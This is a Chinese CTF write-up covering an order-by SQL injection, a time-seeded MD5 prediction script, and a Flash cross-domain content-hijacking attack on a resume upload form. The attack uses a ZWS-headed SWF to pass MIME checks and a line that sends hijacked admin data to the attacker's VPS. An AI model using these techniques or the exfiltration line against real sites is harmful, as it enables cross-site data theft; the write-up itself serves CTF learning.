大概还行,虽然有很多奇奇怪怪的地方
order
order注入,丢sqlmap 直接跑出结果
就这么直接
给了个源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | <?php $key = "********"; srand(time()); 
  $a = rand(0,100);  $b = rand(0,100);  $c = rand(0,100);  $d = rand(0,100);  $e = rand(0,100);
  $result = ((($a - $b)/$c)+$d) * $e; $result = md5($key.$result.$key); show_source(__FILE__);   ?>
   | 
 
然后一个提交页面,然后我还以为是什么绕过,然后还猜弱类型,搞了半天做不出来,看了wp发现也是神奇好吧,它是用时间种子生成随机数然后加盐md5,随机提交一个md5的值就可以在源码里获得加密结果,然后再把结果提交就好了,打扰了,确实没看懂这个出题思路好吧..
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13
   | import requests import re from bs4 import BeautifulSoup url="http://101.71.29.5:10003/flag.php" data={"answer":"0e342768416822451524974117254469"} r=requests.post(url,data=data) soup=BeautifulSoup(r.text,'lxml') print(soup.p) md5=re.findall(r"<!--(.*?)-->",str(soup.p)) data=md5[0] data={"answer":data} r=requests.post(url,data=data) print(r.text)
   | 
 
简历来了
开始走错了路,想传shell,但其实传不了,源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
   | <?php require_once('init.php'); header("Content-type: text/html; charset=utf-8"); if(isset($_POST['submit'])){     if(!z_validate_captcha()){         die('验证码错误');     }     $email = isset($_POST['email'])?trim($_POST['email']):'';     $url = isset($_POST['url'])?trim($_POST['url']):'';     $file = isset($_FILES['file'])?$_FILES['file']:false;     if($email == false  $url == false  $file == false){         die('Invalid Input');     }
      if(!filter_var($email, FILTER_VALIDATE_EMAIL)){         die('Invalid Email');     }
      if(!filter_var($url, FILTER_VALIDATE_URL)  (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0)){         die('Invalid URL');     }
      if($file['error']  $file['size'] > 1024*1024  !is_uploaded_file($file['tmp_name'])){         die('Invalid File');     }
      $ext = getExt($file['name']);
      if(!in_array($ext, array('.jpg','.jpeg', '.png', '.docx', '.doc'))){         die('Invalid File Type');     }
      $file_checked = false;     if(in_array($ext, array('.jpg','.jpeg', '.png'))){         $finfo = finfo_open(FILEINFO_MIME);         if (!$finfo) {             die("Opening fileinfo database failed");         }         $mime = finfo_file($finfo, $file["tmp_name"]);         finfo_close($finfo);         if($mime == false){             die('Invalid Filename');         }         $arr = explode(';', $mime);         $mime = $arr[0];         if($mime == false  !in_array($mime, array('image/gif', 'image/jpeg', 'image/jpg', 'image/png', 'application/octet-stream'))){             die('Invalid Filename');         }else{             $file_checked = true;         }     }elseif(in_array($ext, array('.docx', '.doc'))){         $finfo = finfo_open(FILEINFO_MIME);         if (!$finfo) {             die("Opening fileinfo database failed");         }         $mime = finfo_file($finfo, $file["tmp_name"]);         finfo_close($finfo);         if($mime == false){             die('Invalid Filename');         }         $arr = explode(';', $mime);         $mime = $arr[0];         if($mime == false  !in_array($mime, array('application/msword','application/word', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'))){             die('Invalid Filename');         }else{             $file_checked = true;         }     }
      if($file_checked !== true){         die('Invalid File Type');     }
      $filename = './upload/'.md5(mt_rand().microtime()).$ext;
      move_uploaded_file($file["tmp_name"], $filename);
      if(!file_exists($filename)){         echo '上传失败';     }else{         save_resume($email, $url, $filename);         echo "<br/>提交成功:";         echo "<br/>邮箱:".htmlspecialchars($email);         echo "<br/>个人网站:".htmlspecialchars($url);         echo "<br/>简历地址:".htmlspecialchars($filename);         echo "<br/><br/><br/>";     } }
  show_source(__FILE__);
   | 
 
这里其实是个csrf,我也真是鲸了,我确实有测试链接那个地方有没有bot来访问,但是没有!没有!这个题卡了我两天...
好吧,不过其实就算知道这里会有bot来访问我这道题可能也解不出来,因为考到了一个我并不会的点,这里重点记录一下:Flash跨域数据劫持漏洞
这个漏洞讲的大致如下:
当某站点存在上传点且并没有检查文件内容的时候,我们就可以上传一个flash文件,然后后缀使用可以上传的后缀,比如jpg之类的,然后核心部分是object标签在包含flash文件时没有对嵌入的文件后缀进行判断。也就是说,只要文件内容包含了正常的flash文件代码,就能够被object标签成功加载并执行。而ActionScript中又有很多api可以让flash发送网络请求,这就可以将flash传到目标域然后构造恶意代码获取某些页面了,具体看题。
很坑爹的一道题,主要是利用了github上一个CSRF项目:https://github.com/nccgroup/CrossSiteContentHijacking
限制了邮箱、URL格式,文件大小。以及上传的文件类型和MIME类型。无法绕过上传PHP文件或者利用文件包含上传图片马
第一个点:flash的三种文件头:CWS,FWS,ZWS[最新的]
由于ZWS是新兴的文件格式,php暂时不支持,所以php在解析cws和fws格式的时候会解析成application/x-shockwave-flash;但是解析zws的时候会变成application/octet-stream从而绕过MIME限制。
扫目录发现admin目录,需要管理员才能看flag.那么思路就明确了,我们可以先传一个flash文件上去,然后自己在vps上构造一个攻击页面来加载服务器上的flash,然后填到博客栏让bot去访问,bot访问之后触发flash文件从而打到admin下的flag然后返回到我们的服务器.
具体操作
克隆一下前面提到的github的那个项目,然后找到ContentHijacking.swf,将文件头改成ZWS
然后传到服务器,记录传的路径,然后ContentHijackingLoader.html里面125行左右加上一段代码new
Image的代码
1
   | new Image().src='http://your_vps/xxx.php'+encodeURIComponent(strData)
   | 
 
然后vps上面打开ContentHijackingLoader.html,填写一下flash的地址和攻击地址,然后生成payload
生成之后提交上去就可以在vps收到flag了
这个都是别人写的,环境已经关了,简单记录下 参考链接: https://liuxianglai.github.io/2018/06/26/%E5%AE%89%E6%81%92%E6%9D%AF%E6%9C%88%E8%B5%9BWrite-up/
http://www.freebuf.com/articles/web/35353.html